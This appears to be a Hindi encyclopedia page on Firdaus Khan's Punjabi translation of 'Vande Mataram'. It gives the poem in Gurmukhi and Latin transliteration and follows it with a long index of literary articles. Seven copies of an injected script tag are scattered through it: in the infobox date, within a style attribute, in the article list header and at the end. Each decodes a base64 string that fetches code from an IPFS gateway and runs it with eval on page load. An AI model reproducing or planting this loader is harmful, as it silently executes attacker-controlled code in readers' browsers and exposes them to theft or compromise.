वंदे मातरम् (पंजाबी)

vande mataramh (panjabi)
firadaus khan|200px|center
poora nam	firadaus khan
abhibhavak	svargiy sattar ahamad khan aur shrimati khushanoodi khan
karm-kshetr	patrakar, shayara aur kahanikar
mukhy rachanaean	vande mataramh ka panjabi anuvad, tumase tan-man mile pran priy (git), khamosh rat ki tanhaee mean (nazm)
bhasha	hiandi, aangrezi, urdoo, panjabi
nagarikata	bharatiy
any janakari	'firadaus khan star nyooz ejeansi mean sanpadak haian. 'star nyooz ejeansi' aur 'star veb midiya' nam se unake do nyooz p aaurtal bhi haian.
bahari k diyaan	meri dayari, firadaus dayari (hiandi)
adyatan‎	12:38, 4 janavari 2014 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
inhean bhi dekhean	kavi soochi, sahityakar soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vande mataramh bharat ka rashtriy git hai jisaki rachana bankimachandr chatarji dvara ki gee thi. vande mataramh git ke pratham do pad sanskrit mean tatha shesh pad bangali bhasha mean the. rashtrakavi raviandranath taigor ne is git ko svarabaddh kiya. arabiando ghosh ne is git ka aangrezi mean aur arif mohammad khan ne isaka urdoo mean anuvad kiya. vande mataramh ka panjabi anuvad charchit patrakar evan shayara firadaus khan ne kiya hai.

vande mataramh ka panjabi anuvad

ਮਾਂ ਤੈਨੂੰ ਸਲਾਮ…
ਤੂੰ ਭਰੀ ਹੈ ਮਿੱਠੇ ਪਾਣੀ ਨਾਲ਼
ਫਲ ਫੁੱਲਾਂ ਦੀ ਮਹਿਕ ਸੁਹਾਣੀ ਨਾਲ਼
ਦੱਖਣ ਦੀਆਂ ਸਰਦ ਹਵਾਵਾਂ ਨਾਲ਼
ਫ਼ਸਲਾਂ ਦੀਆਂ ਸੋਹਣੀਆਂ ਫ਼ਿਜ਼ਾਵਾਂ ਨਾਲ਼
ਮਾਂ ਤੈਨੂੰ ਸਲਾਮ…

ਤੇਰੀਆਂ ਰਾਤਾਂ ਚਾਨਣ ਭਰੀਆਂ ਨੇ
ਤੇਰੀ ਰੌਣਕ ਪੈਲ਼ੀਆਂ ਹਰੀਆਂ ਨੇ
ਤੇਰਾ ਪਿਆਰ ਭਿੱਜਿਆ ਹਾਸਾ ਹੈ
ਤੇਰੀ ਬੋਲੀ ਜਿਵੇਂ ਪਤਾਸ਼ਾ ਹੈ
ਤੇਰੀ ਗੋਦ 'ਚ ਮੇਰਾ ਦਿਲਾਸਾ ਹੈ
ਤੇਰੇ ਪੈਰੀਂ ਸੁਰਗ ਦਾ ਵਾਸਾ ਹੈ
ਮਾਂ ਤੈਨੂੰ ਸਲਾਮ…
         -ਫ਼ਿਰਦੌਸ ਖ਼ਾਨ

vande mataram ka panjabi anuvad (devanagari mean)

maan tainooan salam
too bhari hai miththe pani nal
phal phullaan di mahik suhani nal
dakkhan diaan sarad havavaan nal
fasalaan diaan sohaniaan fizavaan nal
maan tainooan salam…

teriaan rataan chanan bhariaan ne
teri raunak pailiaan hariaan ne
tera piar bhijia hasa hai
teri boli jivean patasha hai
teri god ’ch mera dilasa hai
tari pairian surag da vasa hai
maan tainooan salam…
         -firadaus khan

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<div style="border-bottom:1px solid SteelBlue<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; background-color:#c2d4ec<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>; padding:0.2em 0.9em 0.2em 0.5em; font-size:120%; font-weight:bold;">svatantr lekhan vriksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ▼ svatantr lekhan kosh   aantarrashtriy sandarbh mean hindi -pro. siddheshvar prasad   andaman nikobar dvip samooh : bhaugolik jhalak -shalini tivari   ati jivan -ajey   ab vah bani muktadhara -dinesh sianh   amar gan -dinesh sianh   amarika mean hindi -d aau. kerin shomar   asmita ki numaish -ashok kumar shukla   ahamh brahmasmi -kiran mishra   ag ke ilaqe mean ao -ajey   ag ke ilake ka adami -ajey   aj kitani achchhi dhoop hai ! -ajey   aj jab vah ja rahi hai -ajey   adami ke aandar basata hai shahar -rohit thakur   amantran -kiran mishra   arkatik vedhashala mean karyarat vaijnanik mitroan ke kuchh notas -ajey   arkatik vedhashala se kuchh nots -ajey   aloo ka sizan -ajey   as-pas ek prithvi chahie -ajey   itavar -anoop sethi   is uthan ke bad nadi -ajey   is samay vah shahar udas hai -rohit thakur   utsav manana chho d ziandagi -sima sianghal   un sabake lie jo nirvasit haian -rohit thakur   ummid -anoop sethi   rritu basant ki madak bela -firadaus khan   ek tumhara chitr banaya -dinesh sianh   ek nadi jise ham pina chahate haian -ajey   ek buddh kavita mean karuna dhooandh raha hai -ajey   ek misd kal -ashok kumar shukla   ek l daki jab roti hai -rohit thakur   ek l daki sochati hai -rohit thakur   ek sanskar rrin -ashok kumar shukla   etheans ka satyarthi -rashmi prabha   kaba d -anoop sethi   kamare ki l aauri -anoop sethi   kavi aur kavita -dinesh sianh   kavi ka hriday soona -dinesh sianh   kavi pant ke sath kuchh door -rashmi prabha   kavita ke bare mean kuchh kavitaean -ajey   kavita nahian likh sakate -ajey   kashmir mean hindi : sthiti aur sanbhavanaean -pro. chamanalal saproo   kahaan ho paha d -anoop sethi   kahian yah akhiri kavita n ho -ajey   kam ki jagahoan par kuchh hadase -ajey   kamavaliyaan -kiran mishra   kitab chahie, kitab ka nara nahian (yatra sahity)   koo koo karati kali koyal -dinesh sianh   kelang-1/ hari sabziyaan -ajey   kelang-2/ pani -ajey   kelang-3/ bijali -ajey   kelang-4/ s dakean -ajey   kyoan -kiran mishra   kshanikaean -kiran mishra   khamosh rat ki tanhaee mean -firadaus khan   khud apane hi khilaf -ajey   gaanv mean chakka talaee -ajey   gaanv ki s dak khud banaeean -sharada prakash jauhari   git -kiran mishra   gumashuda ki talash -ashok kumar shukla   chhat doo mean kaimp phayar -ajey   jan ki vikasashil bhasha hindi -bhagavat jha azad   jarjar hua hooan maian -arun anant   jarmani sanghiy ganarajy mean hindi -d aau. lothar lutse   joote -anoop sethi   jyoan ki tyoan dhar dini chadariya -urmila shrivastav   jyoan ki tyoan dhar dini chadariya -d aau ashok kumar shukla   jhaansi ki rani -arun anant   taangaliya bunakari aur dahya bhaee (yatra sahity)   traeebal mean ski-phestival -ajey   tren aee aur bhagad d mach gayi -shrikrishna paandey   thale ki tapasya -anoop sethi   tapati prithvi ko prem karana -ajey   tum bhi yahian ho kahian shayad -anoop sethi   tum.. -ashok kumar shukla   tumase tan-man mile pran priy -firadaus khan   tumhari jeb mean ek sooraj hota tha -ajey   tulanatmak bharatiy sahity evan paddhati vijnan ka prashn -d aau. iandranath chaudhuri   dalit sahity aandolan -ashok kumar shukla   User talk:dinesh sianh   dilli jab dahal gayi -dinesh sianh   der rat karobar -ajey   devanagari -devishankar dvivedi   devanagari lipi (kashmiri bhasha ke sandarbh mean) -mohanalal sar   devanagari lipi ki bhoomika -babooram saksena   desh ki ekata ka mool: hamari rashtrabhasha -kshemachand ‘suman’   desh ki samasik sanskriti ki abhivyakti mean hindi ka yogadan -d aau. rajakishor paandey   dorje gaeed ki batean -ajey   dvitiy vishv hindi sammelan : nirnay aur kriyanvayan -rajamani tivari   dhuandh -rohit thakur   dhoop mean aurat -rohit thakur   dhauladhar -anoop sethi   nee dhar lie kam par lautana -ajey   ne phaishan ke makan -anoop sethi   nadi se -ajey   nirbalata aur sabalata -dinesh sianh   nirvak himalay -dinesh sianh   nishthur -anoop sethi   nepal mean hindi aur hindi sahity -sooryanath gop   pankh -anoop sethi   paranpara aur svatantrata (yatra sahity)   paha d par dhoop -anoop sethi   punaravataran -ashok kumar shukla   purani auratean, aj ki auratean -kiran mishra   poochho sooraj se kya vah aega ? -ajey   poorab ke kandhe par -kiran mishra   prakriti ke prati -dinesh sianh   pratham aur dvitiy vishv hindi sammelan: uddeshy evan upalabdhiyaan -madhukararav chaudhari   prashasanik hindi ka vikas -d aau. narayanadatt palival   prashnoan ke aeene mean... -sarasvati prasad   prem ka svad os sa hai -rohit thakur   phulamoon parti -ajey   banaras -rohit thakur   bayooans ki tahaniyaan -ajey   bin savan ke barasa -firadaus khan   billiy aau -ashok kumar shukla   bis sal bad saravari -ajey   beti -kiran mishra   bharat ki bhasha samasya aur hindi -d aau. kumar vimal   bharat ki bhashik ekata: paranpara aur hindi -manik goviand chaturvedi   bharat ki rajabhasha niti -krishnakumar shrivastav   bharat ki rajabhasha niti aur usaka karyanvayan -deveandracharan mishr   bharat ki samasik sanskririti aur hindi ka vikas -d aau. haradev bahari   bharatiy adivasiyoan ki matribhasha tatha hindi se inaka samipy -lakshmanaprasad sinha   bharatiy vyaktitv ke sanshlesh ki bhasha -d aau. raghuvansh   bhashayi samasya : ek rashtriy samadhan -narmadeshvar chaturvedi   bhitar uga hua adami -ajey   bhoogol bhi tay karata hai samaj ka charitr (yatra sahity)   bhoomandalikaran -anoop sethi   bhojavan mean patajh d -ajey   man mit mere jara dharo dhir -dinesh sianh   maan, harpiz aur adim chaandani -ajey   manak bhasha ki sankalpana aur hindi -d aau. krishnakumar gosvami   marishas ka hindi sahity -d aau. lata   marishas: sagar ke par laghu bharat -es. bhuvaneshvar   praangan:mukhaprishth/svatantr lekhan   moodhivala -sarasvati prasad   meantosa1 par edaveanchar tim -ajey   mere mahaboob -firadaus khan   mai aur kavita -dinesh sianh   maian kachchi mitti -sima sianghal   maian lekhak nahian hooan -vimal mitr   moh pash -ashok kumar shukla   mausam -anoop sethi   yah kaisa ghar ? -ashok kumar shukla   ye gujarat aj se nahian, sadiyoan se hai (yatra sahity)   ramazan -firadaus khan   ramesh bhaee ek stambh -alok shrivastav   ramesh bhaee ko jaisa maianne jana -kusum jauhari   ramesh bhaee- ek takatavar sathi the -ramesh bhiya   rajabhasha ke roop mean hindi ka vikas, mahattv tatha prakash ki dishaean   rajabhasha: karyacharan aur samasik sanskriti -d aau. en.es. dakshinamoorti   radha-mira aur prem -rashmi prabha   rashtriy aur aantarrashtriy sandarbh mean devanagari -jivan nayak   rashtriy aur aantarrashtriy sandarbh mean devanagari lipi -pan. rameshvaradayal dube   rashtriy prachar samiti, vardha -shankararav loandhe   ruko mat -sima sianghal   roomal -rohit thakur   lipaziang vishvavidyalay mean hindi -d aau. marget gatslaf   lupt hoti kathaputali kala -firadaus khan   lempapost ke niche baithi aurat -ajey   lokajnata sarvajnata (lokavartta vijnan ke sandarbh mean) -d aau. haradvarilal sharma   vande mataramh (panjabi)   vaqt ki poshak -sima sianghal   vijnan uddeshika -aziz ray   videsh doorasanchar seva -ke.si. katiyar   videshoan mean hindi:prachar-prasar aur sthiti ke kuchh pahaloo -premasvaroop gupt   vividh varn se rangi dhara -dinesh sianh   vishv ki pramukh bhashaoan mean hindi ka sthan -d aau. ramajilal jaangid   vishv ki hindi patr-patrikaean -d aau. kamata kamalesh   vetal -ashok kumar shukla   vo tum hi thi -kiran mishra   vyaktitv aur charitr -dinesh sianh   sangadiloan ne mar diya kal ek jogi -anoop sethi   sanskrit-hindi kavyashastr mean upama ki sarvalankarabijata ka vichar -d aau. mahendr madhukar   sakaratmak badalav ki adharashila hai shiksha -shalini tivari   samay ki shila par likha nam ramesh bhaee -ashok kumar shukla   samay chakr badhata jata hai -dinesh sianh   sarjan ke jin -kiran mishra   sarvoday ashram, ramesh bhaee ...aur nirmala deshapaande -brijesh kabir   sahi bachat (bal kahani)   saanch ko aanch nahian -sima sianghal   saanskritik doot sapere -firadaus khan   saanskritik bhasha ke roop mean hindi ka vikas -d aau. trilochan paandey   saanskritik samanvay ki prakriya aur hindi sahity -rajeshvar gangavar   satvik git b de manhage haian -dinesh sianh   samana -anoop sethi   samajik arthik shretr mean rachanatmak sevaoan ka ek sansthan -d aau es es agnihotri   sunane ki phursat ho to avaz hai pattharoan mean -firadaus khan   sookhe manuputr -kiran mishra   soorinam desh aur hindi -sooryaprasad bire   sevaparayan jivan yukt avismaraniy vyaktitv -vijay bhaee   sneh dip -dinesh sianh   smriti ki jhil -anoop sethi   svargiy bharatiy sahityakaroan ko smriti-shraddhaanjali -d aau. prabhakar machave   hajamat -anoop sethi   ham chook jate kitani hi nadiyaan -ajey   haiku -ashok kumar shukla   hashie par duniya -anoop sethi   hindi ka aantarrashtriy pariprekshy -bachchooprasad sianh   hindi ka ek apanaya-sa kshetr: sanyukt rajy -d aau. ar. es. megregar

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>